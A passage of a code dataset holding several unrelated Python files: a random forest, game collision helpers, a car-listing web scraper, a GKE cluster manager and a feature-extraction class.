largest_mutual = mutual_information\n            index = i\n            groups = (l,r)\n    return {'idx':index, 'val':value, 'groups':groups}\n\ndef select_best_split(data, m):\n    return information_gain(data, 1, m)\n\ndef get_terminal_node_val(group):\n    labels = [row[-1] for row in group]\n    return max(set(labels), key=labels.count)\n\ndef split(node, max_depth, depth, m):\n    left, right = node['groups']\n    del(node['groups'])\n    if len(left) == 0 or len(right) == 0:\n        if len(left) == 0:\n            node['l'] = node['r'] = get_terminal_node_val(right)\n        else:\n            node['l'] = node['r'] = get_terminal_node_val(left)\n        return\n    if depth >= max_depth:\n        node['l'], node['r'] = get_terminal_node_val(left), get_terminal_node_val(right)\n        return\n    \n    node['l'] = select_best_split(left, m)\n    split(node['l'], max_depth, depth+1, m)\n    \n    node['r'] = select_best_split(right, m)\n    split(node['r'], max_depth, depth+1, m)\n\ndef build_tree(t_data, max_depth, m):\n    root_node = select_best_split(t_data, m)\n    split(root_node, max_depth, 1, m)\n    return root_node\n\ndef predict(node, sample_row):\n    if sample_row[node['idx']] < node['val']:\n        if isinstance(node['l'], dict):\n            return predict(node['l'], sample_row)\n        else:\n#             terminal node\n            return node['l']\n    else:\n        if isinstance(node['r'], dict):\n            return predict(node['r'], sample_row)\n        else:\n#             terminal node\n            return node['r']\n\ndef subsample(dataset):\n    sample = []\n    n_sample = len(dataset)\n#     while len(sample) < n_sample:\n#         idx = np.random.randint(len(dataset))\n    for idx in np.random.choice(len(dataset), len(dataset), replace=True):\n        sample.append(dataset[idx])\n    return np.array(sample)\n\ndef predict_from_forest(trees, row):\n    predictions = [predict(tree, row) for tree in trees]\n    return max(set(predictions), key=predictions.count)\n\ndef generate_trees(t_data, max_depth, m, n_trees):\n    trees = []\n    for i in range(n_trees):\n        t_sample = subsample(t_data)\n        tree = build_tree(t_sample, max_depth, m)\n        trees.append(tree)\n    return trees\n\ndef random_forest(t_data, d_data, max_depth, m, t, fulltrees):\n#     trees = np.random.choice(fulltrees, t, replace=False)\n    trees = fulltrees[:t]\n#     trees = []\n#     for i in range(t):\n#         t_sample = subsample(t_data)\n#         tree = build_tree(t_sample, max_depth, m)\n#         trees.append(tree)\n        \n    train_predictions = []\n    t_size = len(t_data)\n    for t_row in t_data:\n        train_prediction = predict_from_forest(trees, t_row)\n        train_predictions.append(train_prediction)\n\n    t_label = t_data[:,-1].flatten()\n    t_accuracy = t_size - np.count_nonzero(t_label-train_predictions)\n    t_accuracy_rate = t_accuracy/t_size*100\n    print(\"training set \\tmax_depth:\", max_depth, \"m:\", m, \"t:\", t, \"\\taccuracy:\", t_accuracy_rate)\n\n    dev_predictions = []\n    d_size = len(d_data)\n    for d_row in d_data:\n        dev_prediction = predict_from_forest(trees, d_row)\n        dev_predictions.append(dev_prediction)\n        \n    d_label = d_data[:,-1].flatten()\n    d_accuracy = d_size - np.count_nonzero(d_label-dev_predictions)\n    d_accuracy_rate = d_accuracy/d_size*100\n    print(\"validation set \\tmax_depth:\", max_depth, \"m:\", m, \"t:\", t, \"\\taccuracy:\", d_accuracy_rate)\n    return t_accuracy_rate, d_accuracy_rate\n    \ndef plot_accuracy(title, xticks, acc_list, y_lim):\n    plt.figure(figsize=[6.4, 5.3])\n    plt.title(title)\n    plt.xlabel(\"Number of trees\")\n    plt.ylabel(\"Accuracy %\")\n    for i in range(4):\n        plt.plot(acc_list[i])\n    plt.legend([\"m=5\", \"m=25\", \"m=50\", \"m=100\"], loc =\"upper right\")\n    plt.xticks(np.arange(len(xticks)), xticks)\n#     plt.ylim(y_lim[0], y_lim[1])\n    plt.ylim(67, 90)\n    plt.show()\n    \ntrain_data = pd.read_csv(\"pa4_data/pa4_train_X.csv\").values.astype(int)\ntraindata_label = pd.read_csv(\"pa4_data/pa4_train_y.csv\", header=None).values.astype(int)\ntrain_dataset = np.concatenate((train_data, traindata_label), axis=1);\n\ndev_data = pd.read_csv(\"pa4_data/pa4_dev_X.csv\").values.astype(int)\ndevdata_label = pd.read_csv(\"pa4_data/pa4_dev_y.csv\", header=None).values.astype(int)\ndev_dataset = np.concatenate((dev_data, devdata_label), axis=1);\n\nnp.random.seed(1)\n\ndmaxs=[2, 10, 25]\nms = [5,25,50,100]\nstart = time.time()\n\n# t_accuracies = []\n# d_accuracies = []\ny_lim = [(60,80),(72,82.5), (70,90)]\nfor i, d in enumerate(dmaxs):\n    t_accuracies = []\n    d_accuracies = []\n    print(\"dmax:\", d)\n    for m in ms:\n        t_accuracies.append([])\n        d_accuracies.append([])\n        fulltrees = generate_trees(train_dataset, d, m, 100)\n        for n_trees in range(10,101,10):\n            t_accuracy_rate, d_accuracy_rate = random_forest(train_dataset, dev_dataset, d, m, n_trees, fulltrees)\n#             print(\"m:\", m, \"\\tT:\", n_trees, \"\\ttrain: \", t_accuracy_rate, \"\\tdev:\", d_accuracy_rate)\n            t_accuracies[-1].append(t_accuracy_rate)\n            d_accuracies[-1].append(d_accuracy_rate)\n\n    plot_accuracy(\"Training accuracy rate with max depth = \" + str(d), range(10,101,10), t_accuracies, y_lim[i])\n    plot_accuracy(\"Validation accuracy rate with max depth = \" + str(d), range(10,101,10), d_accuracies, y_lim[i])\n\nprint(\"\\nrunning time:\", time.time()-start)\n","repo_name":"NuttareeB/MachineLearning","sub_path":"DecisionTree/RandomForest.py","file_name":"RandomForest.py","file_ext":"py","file_size_in_byte":6901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"25830047934","text":"def sgn(n):\n    if n>0:\n        return 1\n    elif n<0:\n        return -1\n    else:\n        return n\n\n\ndef rectCollideWithStraightLine(RectPTL, RectPBR, LineP1, LineP2):\n    if LineP1[1] == LineP2[1]:\n        onX = (\n            LineP1[0]  < RectPTL[0] and RectPTL[0] < LineP2[0]\n        ) or (\n            LineP1[0]  < RectPBR[0] and RectPBR[0] < LineP2[0]\n        ) or (\n            RectPTL[0] < LineP1[0]  and LineP1[0]  < RectPBR[0]\n        ) or (\n            RectPTL[0] < LineP2[0]  and LineP2[0]  < RectPBR[0]\n        )\n        onY = RectPTL[1] <= LineP1[1] and LineP1[1] <= RectPBR[1]\n        return onX and onY\n    elif LineP1[0] == LineP2[0]:\n        onY = (\n            LineP1[1]  < RectPTL[1] and RectPTL[1] < LineP2[1]\n        ) or (\n            LineP1[1]  < RectPBR[1] and RectPBR[1] < LineP2[1]\n        ) or (\n            RectPTL[1] < LineP1[1]  and LineP1[1]  < RectPBR[1]\n        ) or (\n            RectPTL[1] < LineP2[1]  and LineP2[1]  < RectPBR[1]\n        )\n        onX = RectPTL[0] <= LineP1[0] and LineP1[0] <= RectPBR[0]\n        return onX and onY\n\n\ndef rectCollideWithRect(Rect1PTL, Rect1PBR, Rect2PTL, Rect2PBR):\n    return (\n        Rect1PBR[0] > Rect2PTL[0]) and (\n        Rect1PTL[0] < Rect2PBR[0]) and (\n        Rect1PBR[1] > Rect2PTL[1]) and (\n        Rect1PTL[1] < Rect2PBR[1])","repo_name":"LeeFuuChang/HollowKnight","sub_path":"modules/util/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"12338256162","text":"# # dunder or magic method\n\n\nfrom todo import Todo\n\n# x= [1,2,3,4]\n\n# print (len(x))\n\n# # the above code can be written in dunder method below and achieve the same result Thus:\n\n# print(x.__len__())\n\n#=========================\n\n\nk_todo = Todo(name='Kingsley')\n\ne_todo= Todo(name= 'Emmanuel')\n\nk_todo.add('buy milk')\nk_todo.add('code python')\nk_todo.add('cook dinner')\n\nprint(k_todo > e_todo)","repo_name":"lexjox777/Python-__dunder__or-Magic-method","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"7980087631","text":"import random\r\nimport string\r\nimport time\r\n\r\nimport urllib3\r\nfrom bs4 import BeautifulSoup\r\n\r\nimport requests\r\nfrom requests.adapters import HTTPAdapter\r\nfrom urllib3 import Retry\r\n\r\nCHARACTERS = (\r\n        string.ascii_letters\r\n        + string.digits\r\n)\r\n\r\ndef bobaeCrawling(db):\r\n    crowlingCnt = 0\r\n    itemNum = 0\r\n\r\n    cursor = db.cursor()\r\n    selectSql1 = \"\"\"SELECT ITEM_NUM FROM CAR_DATA WHERE SITE = '보배드림' ORDER BY ITEM_NUM DESC\"\"\"\r\n    cursor.execute(selectSql1)\r\n    data = cursor.fetchall()\r\n\r\n    if data is not None and len(data) > 0:\r\n        row = data[0]\r\n        itemNum = row[0]\r\n\r\n    while crowlingCnt < 100000:\r\n        try:\r\n            carData = {}\r\n\r\n            crowlingNum = itemNum+crowlingCnt\r\n            url = 'https://www.bobaedream.co.kr/mycar/mycar_view.php?no='+str(crowlingNum)+'&gubun=K'\r\n\r\n            carData[\"url\"] = url\r\n            print(url)\r\n\r\n            urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\r\n\r\n            # session = requests.Session()\r\n            # retry = Retry(connect=3, backoff_factor=0.5)\r\n            # adapter = HTTPAdapter(max_retries=retry)\r\n            # session.mount('http://', adapter)\r\n            # session.mount('https://', adapter)\r\n\r\n            # req = session.get(url)\r\n\r\n            req = requests.get(url, verify=False)\r\n\r\n            soup = BeautifulSoup(req.content.decode('utf-8', 'replace'), 'lxml')\r\n\r\n            # print(soup)\r\n\r\n            groupInfo = soup.find('div', attrs={'class': 'group-info'})\r\n\r\n            if groupInfo is not None:\r\n                priceDiv = groupInfo.find('div', attrs={'class': 'price-area'})\r\n                price = priceDiv.find('span', attrs={'class': 'price'}).getText()\r\n                if price.find('판매완료') != -1:\r\n                    crowlingCnt = crowlingCnt + 1\r\n\r\n                    continue\r\n                else:\r\n                    findPrice(price, carData)\r\n                    findTitle(groupInfo, carData)\r\n                    findLocation(groupInfo, carData)\r\n                    findCarNum(soup, carData)\r\n                    findDetail(soup,carData)\r\n                    findImageList(soup, carData, db)\r\n\r\n\r\n                    if len(carData) > 1:\r\n                        try:\r\n                            with db.cursor() as cursor:\r\n                                sql = 'INSERT INTO CAR_DATA (LINK_URL, TITLE ,BRAND, MODEL, CAR_NUM, PRICE, CAR_YEAR, OIL_TYPE, GEAR_TYPE, COLOR, VEHICLEMILE, LOCATION, IMAGE_ID,CAR_VIEWS,SITE,ITEM_NUM) VALUES (%s, %s,%s, %s, %s, %s, %s, %s, %s, %s,%s, %s, %s, %s, %s, %s)'\r\n                                cursor.execute(sql, (\r\n                                    carData[\"url\"], carData[\"title\"], carData[\"brand\"], carData[\"model\"], carData[\"carNum\"],\r\n                                    carData[\"price\"], carData[\"year\"], carData[\"oilType\"], carData[\"gearType\"],\r\n                                    carData[\"color\"], carData[\"vehicleMile\"], carData[\"location\"], carData[\"uniqueKey\"], 0,\r\n                                    '보배드림',\r\n                                    itemNum))\r\n                            db.commit()\r\n                            print('success >>>' + str(itemNum))\r\n                        except Exception as ex:\r\n                            print('db error >>>' + str(ex))\r\n        except Exception as ex:\r\n            print(\"Exception >>> \" + str(ex))\r\n\r\n        crowlingCnt = crowlingCnt+1\r\n        print()\r\n        time.sleep(1)\r\n\r\ndef findTitle(groupInfo,carData):\r\n    titleArea = groupInfo.find('div', attrs={'class': 'title-area'})\r\n    title = titleArea.find('h3').getText()\r\n    carData[\"title\"] = title.replace('\\xa0','')\r\n    # print(title)\r\n\r\n    if title is not None:\r\n        # 브랜드\r\n        brandAndModelSplit = title.split()\r\n        brand = brandAndModelSplit[0]\r\n        carData[\"brand\"] = brand\r\n        # print(brand)\r\n\r\n        # 모델\r\n        model = title.replace(brand + ' ', '')\r\n        if model[0:1] == ' ':\r\n            model = model[1:len(model)]\r\n        carData[\"model\"] = model\r\n        # print(model)\r\n\r\ndef findPrice(price,carData):\r\n    if price.find('가격상담') != -1:\r\n        price = '0'\r\n    else:\r\n        price = price.replace('만원', '').replace(',', '')\r\n\r\n    carData[\"price\"] = int(price)\r\n    # print(price)\r\n\r\n\r\ndef findLocation(groupInfo,carData):\r\n    sellerInfo = groupInfo.find('div', attrs={'class': 'seller-info'})\r\n    seller = sellerInfo.getText().replace('\\n', '').replace('\\r', '').strip()\r\n\r\n    location = \"기타\"\r\n\r\n    if seller.find('서울') != -1:\r\n        location = \"서울\"\r\n    elif seller.find('인천') != -1:\r\n        location = \"인천\"\r\n    elif seller.find('대전') != -1:\r\n        location = \"대전\"\r\n    elif seller.find('대구') != -1:\r\n        location = \"대구\"\r\n    elif seller.find('부산') != -1:\r\n        location = \"부산\"\r\n    elif seller.find('광주') != -1:\r\n        location = \"광주\"\r\n    elif seller.find('울산') != -1:\r\n        location = \"울산\"\r\n    elif seller.find('충남') != -1:\r\n        location = \"충남\"\r\n    elif seller.find('충북') != -1:\r\n        location = \"충북\"\r\n    elif seller.find('전남') != -1:\r\n        location = \"전남\"\r\n    elif seller.find('전북') != -1:\r\n        location = \"전북\"\r\n    elif seller.find('경북') != -1:\r\n        location = \"경북\"\r\n    elif seller.find('경남') != -1:\r\n        location = \"경남\"\r\n    elif seller.find('강원') != -1:\r\n        location = \"강원\"\r\n    elif seller.find('경기') != -1:\r\n        location = \"경기\"\r\n    carData[\"location\"] = location\r\n    # print(location)\r\n\r\ndef findCarNum(soup,carData):\r\n    galleryData = soup.find('div', attrs={'class': 'gallery-data'})\r\n    carNum = galleryData.find('dd', attrs={'class': 'txt-bar'}).getText()\r\n    carNum = carNum.replace('차량번호 ','')\r\n    carNum = carNum.replace(':', '')\r\n    carData[\"carNum\"] = carNum\r\n    # print(carNum)\r\n\r\ndef findDetail(soup,carData):\r\n    detailDiv = soup.find('div', attrs={'class': 'info-basic'})\r\n\r\n    if detailDiv is not None:\r\n        table = detailDiv.find('table')\r\n        tag_body = table.find('tbody')\r\n\r\n        year = 0\r\n        oilType = \"\"\r\n        changeGearType = \"\"\r\n        color = \"\"\r\n        vehicleMile = 0\r\n\r\n        tdsCount = 0\r\n        for td in tag_body.findAll('td'):\r\n            td = str(td)\r\n            td = td.replace('<td colspan=\"3\">', '').replace('<td>', '').replace('</td>', '').replace('&nbsp;','').replace(u'\\xa0', u'')\r\n            if tdsCount == 0:\r\n                end = td.find('.')\r\n                yearString = td[0:end].replace(' ', '').replace('년', '')\r\n                if yearString != '':\r\n                    year = int(yearString)\r\n                # print(year)\r\n            elif tdsCount == 2:\r\n                vehicleMileSting = td.replace(',', '').replace('km', '')\r\n                if vehicleMileSting != '':\r\n                    vehicleMile = int(vehicleMileSting)\r\n                # print(vehicleMile)\r\n            elif tdsCount == 3:\r\n                color = td\r\n                # print(color)\r\n            elif tdsCount == 4:\r\n                changeGearType = td\r\n                # print(changeGearType)\r\n            elif tdsCount == 6:\r\n                oilType = td\r\n                # print(oilType)\r\n\r\n            tdsCount = tdsCount + 1\r\n\r\n        carData[\"year\"] = year\r\n        carData[\"oilType\"] = oilType\r\n        carData[\"gearType\"] = changeGearType\r\n        carData[\"color\"] = color\r\n        carData[\"vehicleMile\"] = vehicleMile\r\n\r\n\r\ndef findImageList(soup,carData,db):\r\n    imageList = soup.find('div', attrs={'class': 'gallery-thumb js-gallery-thumb'})\r\n    uniqueKey = generate_unique_key()\r\n    carData[\"uniqueKey\"] = uniqueKey\r\n\r\n    for aTag in imageList.findAll('a'):\r\n        if aTag is not None:\r\n            img = aTag.find('img')\r\n            if img is not None:\r\n                imgUrl = img['src']\r\n\r\n                try:\r\n                    with db.cursor() as cursor:\r\n                        sql = 'INSERT INTO IMAGE_LIST (IMG_ID, IMG_URL) VALUES (%s, %s)'\r\n                        cursor.execute(sql, (uniqueKey,imgUrl))\r\n                finally:\r\n                    None\r\n\r\ndef generate_unique_key():\r\n    return ''.join(random.sample(CHARACTERS, 15))","repo_name":"zuzu578/Car","sub_path":"bobae.py","file_name":"bobae.py","file_ext":"py","file_size_in_byte":8279,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"25173225328","text":"import os\nimport re\nimport time\nfrom contextlib import contextmanager\nfrom functools import partial\n\nfrom google.auth.transport.requests import Request as AuthRequest\nfrom google.oauth2 import service_account\nfrom google.cloud import storage\nfrom google.cloud import container_v1 as container\n\nfrom cloud_utils.k8s import K8sApiClient\nfrom cloud_utils.utils import wait_for\n\n\ndef snakeify(name: str) -> str:\n    return re.sub(\"(?<!^)(?=[A-Z])\", \"_\", name).lower()\n\n\nclass ThrottledClient:\n    def __init__(self, service_account_key_file, throttle_secs=1.0):\n        self._client = container.ClusterManagerClient.from_service_account_file(\n            filename=service_account_key_file\n        )\n        self.throttle_secs = throttle_secs\n        self._last_request_time = time.time()\n\n    def make_request(self, request, **kwargs):\n        request_fn_name = snakeify(\n            type(request).__name__.replace(\"Request\", \"\")\n        )\n        request_fn = getattr(self._client, request_fn_name)\n        while (time.time() - self._last_request_time) < self.throttle_secs:\n            time.sleep(0.01)\n        return request_fn(request=request, **kwargs)\n\n\nclass Resource:\n    def __new__(cls, resource, *args, **kwargs):\n        resource_type = type(resource).__name__\n        if resource_type == \"Cluster\":\n            cls = Cluster\n        elif resource_type == \"NodePool\":\n            cls = NodePool\n        else:\n            raise TypeError(f\"Unknown GKE resource type {resource_type}\")\n        return object.__new__(cls)\n\n    def __init__(self, resource, parent, **kwargs):\n        self.resource = resource\n        self.parent = parent.name\n        self.client = parent.client\n\n    @property\n    def resource_type(self):\n        return type(self.resource).__name__\n\n    @property\n    def name(self):\n        resource_type = self.resource_type\n        camel = resource_type[0].lower() + resource_type[1:]\n        return self.parent + \"/{}/{}\".format(camel, self.resource.name)\n\n    def create(self):\n        create_request_cls = getattr(\n            container, f\"Create{self.resource_type}Request\"\n        )\n\n        resource_type = snakeify(self.resource_type)\n        kwargs = {\n            resource_type: self.resource,\n            \"parent\": self.parent\n        }\n        create_request = create_request_cls(**kwargs)\n        try:\n            return self.client.make_request(create_request)\n        except Exception as e:\n            try:\n                if e.code != 409:\n                    raise\n            except AttributeError:\n                raise e\n\n    def delete(self):\n        delete_request_cls = getattr(\n            container, f\"Delete{self.resource_type}Request\"\n        )\n        delete_request = delete_request_cls(name=self.name)\n        return self.client.make_request(delete_request)\n\n    def get(self, timeout=None):\n        get_request_cls = getattr(\n            container, f\"Get{self.resource_type}Request\"\n        )\n        get_request = get_request_cls(name=self.name)\n        return self.client.make_request(get_request, timeout=timeout)\n\n\nclass NodePool(Resource):\n    pass\n\n\nclass Cluster(Resource):\n    def __init__(self, resource, parent, auth_token):\n        super().__init__(resource, parent)\n        self.auth_token = auth_token\n        self._k8s_client = None\n\n    def _make_k8s_client(self):\n        if self._k8s_client is not None:\n            raise ValueError(\n                f\"Already created kubernetes client for cluster {self.name}\"\n            )\n        self._k8s_client = K8sApiClient(self)\n\n    @property\n    def k8s_client(self):\n        if self._k8s_client is None:\n            self._make_k8s_client()\n        return self._k8s_client\n\n    def create(self):\n        response = super().create()\n        if response is not None:\n            self._make_k8s_client()\n        return response\n\n    def deploy(self, file: str):\n        return self.k8s_client.create_from_yaml(file)\n\n    def remove_deployment(self, name: str, namespace: str = \"default\"):\n        return self.k8s_client.remove_deployment(name, namespace)\n\n\ndef resource_ready_callback(resource):\n    try:\n        status = resource.get(timeout=5).status\n    except Exception:\n        # TODO: something to catch here?\n        raise\n    if status == 2:\n        return True\n    elif status > 2:\n        raise RuntimeError\n    return False\n\n\ndef resource_delete_submit_callback(resource):\n    # first try to submit the delete request,\n    # possibly waiting for the resource to\n    # become available to be deleted if we\n    # need to\n    try:\n        resource.delete()\n    except Exception as e:\n        try:\n            if e.code == 404:\n                # resource is gone, we're good\n                return True\n            elif e.code != 400:\n                # 400 means resource is tied up, so\n                # wait and try again in a bit. Otherwise,\n                # raise an error\n                raise\n            else:\n                return False\n        except AttributeError:\n            # the exception didn't have a `.code`\n            # attribute, so evidently something\n            # else went wrong, raise it\n            raise e\n    else:\n        # response went off ok, so we're good\n        return True\n\n\ndef resource_delete_done_callback(resource):\n    # now wait for the delete request to\n    # be completed\n    try:\n        status = resource.get(timeout=5).status\n    except Exception as e:\n        try:\n            if e.code == 404:\n                # resource is gone, so we're good\n                # to exit\n                return True\n            # some other error occured, raise it\n            raise\n        except AttributeError:\n            # a non-HTTP error occurred, raise it\n            raise e\n\n    if status > 4:\n        # something bad happened to the resource,\n        # raise the issue\n        raise RuntimeError(status)\n    return False\n\n\nclass GKEClusterManager:\n    def __init__(\n        self,\n        service_account_key_file: str,\n        project: str,\n        zone: str\n    ):\n        self.client = ThrottledClient(service_account_key_file)\n        credentials = service_account.Credentials.from_service_account_file(\n            service_account_key_file,\n            scopes=[\"https://www.googleapis.com/auth/cloud-platform\"]\n        )\n        credentials.refresh(AuthRequest())\n        self.auth_token = credentials.token\n\n        self.name = f\"projects/{project}/locations/{zone}\"\n        self.resources = {}\n\n    @contextmanager\n    def manage_resource(self, resource, parent=None, keep=False):\n        parent = parent or self\n        resource = Resource(resource, parent, auth_token=self.auth_token)\n        resource.create()\n\n        resource_type = snakeify(resource.resource_type).replace(\"_\", \" \")\n        resource_msg = resource_type + \" \" + resource.name\n\n        wait_for(\n            partial(resource_ready_callback, resource),\n            f\"Waiting for {resource_msg} to become ready\",\n            f\"{resource_msg} ready\"\n        )\n\n        def delete_resource(raised):\n            if keep:\n                return\n            elif raised:\n                print(f\"Encountered error, removing {resource_msg}\")\n\n            wait_for(\n                partial(resource_delete_submit_callback, resource),\n                f\"Waiting for {resource_msg} to become available to delete\",\n                f\"{resource_msg} delete request submitted\"\n            )\n\n            wait_for(\n                partial(resource_delete_done_callback, resource),\n                f\"Waiting for {resource_type} {resource.name} to delete\",\n                f\"{resource_type} {resource.name} deleted\"\n            )\n            self.resources.pop(resource.name)\n\n        self.resources[resource.name] = resource\n        raised = False\n        try:\n            yield resource\n        except Exception:\n            raised = True\n            raise\n        finally:\n            delete_resource(raised)\n\n\ndef t4_node_config(vcpus=8, gpus=1, **kwargs):\n    OAUTH_SCOPES = [\n        \"https://www.googleapis.com/auth/devstorage.read_only\",\n        \"https://www.googleapis.com/auth/logging.write\",\n        \"https://www.googleapis.com/auth/monitoring\",\n        \"https://www.googleapis.com/auth/service.management.readonly\",\n        \"https://www.googleapis.com/auth/servicecontrol\",\n        \"https://www.googleapis.com/auth/trace.append\"\n    ]\n    return container.NodeConfig(\n        machine_type=f\"n1-standard-{vcpus}\",\n        oauth_scopes=OAUTH_SCOPES,\n        accelerators=[container.AcceleratorConfig(\n            accelerator_count=gpus,\n            accelerator_type=\"nvidia-tesla-t4\"\n        )],\n        **kwargs\n    )\n\n\ndef make_credentials(service_account_key_file):\n    # use GKE credentials to create Kubernetes\n    # configuration for cluster\n    credentials = service_account.Credentials.from_service_account_file(\n        service_account_key_file,\n        scopes=[\"https://www.googleapis.com/auth/cloud-platform\"]\n    )\n    credentials.refresh(AuthRequest())\n    return credentials\n\n","repo_name":"alecgunny/gwinf","sub_path":"cloud_utils/gke.py","file_name":"gke.py","file_ext":"py","file_size_in_byte":9022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"25560259926","text":"#A와B사이의 숫자 리턴\n#A<i<B , i mod K=0\n#6 7 8 9 10 11 k=2 2로 나누어지는 숫자 : 6,8,10\n\n#시간복잡도 B-A\ndef solution(A,B,K):\n    cnt=0\n    for i in range(A,B+1):\n        if i%K ==0:\n            cnt+=1\n    return cnt\n\nprint(solution(6,11,2))\n","repo_name":"vvspearlvvs/CodingTest","sub_path":"6.Codility/5.2 CountDiv/co.py","file_name":"co.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"36974163863","text":"\"\"\"\n    Author: Jon Ander Gomez Adrian (jon@dsic.upv.es, http://personales.upv.es/jon)\n    Version: 1.0\n    Date: November 2016\n    Universitat Politecnica de Valencia\n    Technical University of Valencia TU.VLC\n\n\"\"\"\n\nimport os\nimport sys\nimport numpy\nimport pandas\n\n\nfrom .StandardScaler      import StandardScaler\nfrom .CategoriesToBitmap  import CategoriesToBitmap\nfrom .PercentilesToBitmap import PercentilesToBitmap\nfrom .RangeToBitmap       import RangeToBitmap\n\n\nclass FeatureExtractor:\n    \"\"\"\n        { 'type' : attribute_type,\n          'excluded' : excluded_values,\n          'min' : min_value,\n          'max' : max_value,\n          'num_intervals' : num_intervals,\n          'set_of_values' : set_of_values }\n    \"\"\"\n    CATEGORICAL = 'categorical'\n    NUMERICAL = 'numerical'\n    RANGE_OF_VALUES = 'range_of_values'\n    PERCENTILES = 'percentiles'\n    PERCENTILES_ACCUM = 'percentiles_accum'\n    ZERO_MEAN_VARIANCE_ONE = 'zero_mean_variance_one'\n    INTEGER = 'integer'\n    valid_data_types = [CATEGORICAL, NUMERICAL, RANGE_OF_VALUES, PERCENTILES, PERCENTILES_ACCUM, ZERO_MEAN_VARIANCE_ONE, INTEGER]\n    \n    # -----------------------------------------------------------------------------------------\n    def __init__(self, filename_with_data_description=None):\n\n        self.columns, self.data_info = FeatureExtractor.load_data_info(filename = filename_with_data_description)\n\n        self.extractors = dict()\n        self.size = 0\n\n        for column in self.columns:\n\n            di = self.data_info[column]\n            t = self.data_info[column]['type']\n\n            if t == FeatureExtractor.CATEGORICAL:\n                extractor = CategoriesToBitmap(values = di['set_of_values'])\n\n            elif t == FeatureExtractor.NUMERICAL:\n                extractor = PercentilesToBitmap(values = numpy.array([int(x) for x in di['set_of_values']]))\n\n            elif t == FeatureExtractor.PERCENTILES:\n                extractor = PercentilesToBitmap(values = numpy.array([float(x) for x in di['set_of_values']]))\n\n            elif t == FeatureExtractor.RANGE_OF_VALUES:\n                min_value = di['min']\n                max_value = di['max']\n                num_intervals = di['num_intervals']\n                if num_intervals is None or num_intervals <= 0:\n                    num_intervals = 10\n                extractor = RangeToBitmap(bounds = [min_value, max_value], num_bits=num_intervals)\n\n            elif t == FeatureExtractor.ZERO_MEAN_VARIANCE_ONE:\n                \n                mean = float(di['set_of_values'][0])\n                std  = float(di['set_of_values'][1])\n                extractor = StandardScaler(mean, std)\n\n            elif t == FeatureExtractor.INTEGER:\n\n                extractor = StandardScaler(0.0, 1.0)\n\n            self.extractors[column] = extractor\n            self.size += len(extractor)\n    # -------------------------------------------------------------------------------------------------\n\n    def __len__(self): return self.size\n    # -------------------------------------------------------------------------------------------------\n\n    # -----------------------------------------------------------------------------------------\n    def convert(self, df = None, index = -1):\n        \n        x = numpy.zeros(self.size)\n        i = 0\n        for column in self.columns:\n            extractor = self.extractors[column]\n            v = df[column][index]     \n            if v != v :\n                #raise Exception( \"v is nan! -- %f \" % v );\n                if extractor is CategoriesToBitmap:\n                    v = None\n                else:\n                    v = -1\n            z = extractor.bitmap(v)\n            #print( column )\n            #print( type(extractor) )\n            #print( type(v), v )\n            #print( type(z), z )\n            for k in range(len(z)):\n                if z[k] is None or z[k] != z[k]: sys.stderr.write(f\"ERROR: {z}\\n\")\n            x[i : i + len(extractor)] = z[:]\n            i += len(extractor)\n        #\n        return x\n    # -------------------------------------------------------------------------------------------------\n\n\n    # -----------------------------------------------------------------------------------------\n    def load_data_info(filename = None):\n        \"\"\"\n            N_ID;categorical;;;;;\n            Sexo;categorical;;;;;\n            Edad;rango;;0;99;;20;\n            Fototipo;categorical;99;;;;\n            Ojos_R;categorical;99;;;;\n            Pelo R;categorical;99;;;;\n        \"\"\"\n        keys = list()\n        data_info = dict()\n        f = open(filename, 'rt')\n        for line in f:\n            parts = line.split(';')\n            attribute_name = parts[0].strip()\n            attribute_type = parts[1].strip()\n            if len(parts[2]) > 0:\n                excluded_values = [x.replace('%20', ' ') for x in parts[2].split()]\n            else:\n                excluded_values = list()\n            min_value     = float(parts[3].strip()) if len(parts[3]) > 0 else None\n            max_value     = float(parts[4].strip()) if len(parts[4]) > 0 else None\n            num_intervals =   int(parts[5].strip()) if len(parts[5]) > 0 else None\n            if len(parts[6]) > 0:\n                #set_of_values = [float(x) for x in parts[6].split()]\n                set_of_values = [x.replace('%20', ' ') for x in parts[6].split()]\n                if attribute_type == FeatureExtractor.NUMERICAL:\n                    set_of_values = numpy.array([int(x) for x in set_of_values], dtype=numpy.int32)\n                elif attribute_type == FeatureExtractor.PERCENTILES:\n                    set_of_values = numpy.array([float(x) for x in set_of_values])\n            else:\n                set_of_values = None\n            keys.append(attribute_name)\n            data_info[attribute_name] = {'type' : attribute_type,\n                                         'excluded' : excluded_values,\n                                         'min' : min_value,\n                                         'max' : max_value,\n                                         'num_intervals' : num_intervals,\n                                         'set_of_values' : set_of_values}\n        f.close()\n        return keys,data_info\n    # -----------------------------------------------------------------------------------------\n\n    # -----------------------------------------------------------------------------------------\n    def save_data_info(filename = None, keys = None, data_info = None):\n        f = open(filename, 'wt')\n        for key in keys:\n            d = data_info[key]\n\n            join_format = \"{:s}\"\n            if d['type'] == FeatureExtractor.NUMERICAL: join_format = \"{:d}\"\n            elif d['type'] == FeatureExtractor.RANGE_OF_VALUES: join_format = \"{:f}\"\n\n            f.write(\"%s;%s;%s;%s;%s;%s;%s;\\n\" % (\n                        key,\n                        d['type'],\n                        #\" \".join( join_format.format(x) for x in d['excluded'] ),\n                        \" \".join( \"{:s}\".format(str(x).replace(' ', '%20')) for x in d['excluded']),\n                        d['min'] if d['min'] is not None else \"\",\n                        d['max'] if d['max'] is not None else \"\",\n                        d['num_intervals'] if d['num_intervals'] is not None else \"\",\n                        (\" \".join(\"{:s}\".format(str(x).replace(' ', '%20')) for x in d['set_of_values']) if d['set_of_values'] is not None else \"\" ),\n                   ))\n        f.close()\n    # -----------------------------------------------------------------------------------------\n\n\n    # -----------------------------------------------------------------------------------------\n    def 